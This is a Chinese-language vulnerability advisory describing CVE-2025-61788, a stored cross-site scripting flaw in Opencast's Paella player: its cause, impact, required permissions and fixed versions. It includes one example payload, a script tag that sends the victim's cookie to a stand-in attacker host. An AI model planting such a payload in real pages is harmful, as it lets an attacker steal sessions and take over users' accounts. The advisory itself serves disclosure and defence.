CVE-2025-61788CVE-2025-61788是Opencast开源教育音视频内容管理平台中的一个存储型跨站脚本(Stored XSS)漏洞。Opencast是一款用于录制、编辑、管理和发布教育媒体内容的免费开源平台,广泛应用于高校和教育机构。该漏洞存在于Opencast的Paella播放器组件中,攻击者可以通过上传媒体或修改元数据的方式,向系统注入恶意的HTML和JavaScript代码。由于Paella播放器在渲染媒体时未对用户提交的元数据(如标题、描述等)进行充分的过滤和转义处理,这些恶意代码会被直接嵌入到播放器页面中。当其他用户(包括已登录的管理员或普通用户)观看被污染的媒体内容时,注入的恶意脚本将在其浏览器中自动执行。
该漏洞的危害主要体现在以下几个方面:首先,攻击者可以窃取受害者的会话Cookie或认证令牌,实现账户劫持;其次,可以在受害者浏览器中执行任意操作,如以受害者身份发布内容、修改设置或执行管理操作;此外,攻击者还可以利用该漏洞进行钓鱼攻击、恶意软件分发或进一步的网络渗透。需要注意的是,该漏洞的利用需要攻击者具备系统的写权限(如上传媒体或修改元数据的权限),未经认证的用户无法直接利用此漏洞。该漏洞已在Opencast 17.8和18.2版本中修复。
该漏洞的根本原因在于Opencast Paella播放器在渲染媒体内容时,未对用户提交的元数据字段(如title、description等)进行适当的HTML转义或过滤处理。具体而言,当用户上传媒体文件并填写相关元数据时,这些数据被存储到后端数据库中。当其他用户通过Paella播放器观看该媒体时,服务器会将这些元数据直接嵌入到HTML页面中进行渲染,而没有使用安全的输出编码机制。
攻击者可以利用此漏洞构造包含恶意JavaScript代码的元数据。例如,在媒体标题字段中注入类似 `<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>` 的代码。当受害者观看该媒体时,恶意脚本将在受害者的浏览器上下文中执行。由于Paella播放器在Opencast平台中通常以登录用户身份运行,注入的脚本可以访问用户的会话信息并执行特权操作。
该漏洞属于存储型XSS(Stored XSS),因为恶意载荷被持久化存储在服务器端,每次受害者访问受影响的媒体页面时都会触发,无需攻击者进行额外的诱导。漏洞的利用条件是需要攻击者拥有系统的写权限,如媒体上传或元数据编辑权限,这通常仅限于已认证的用户角色。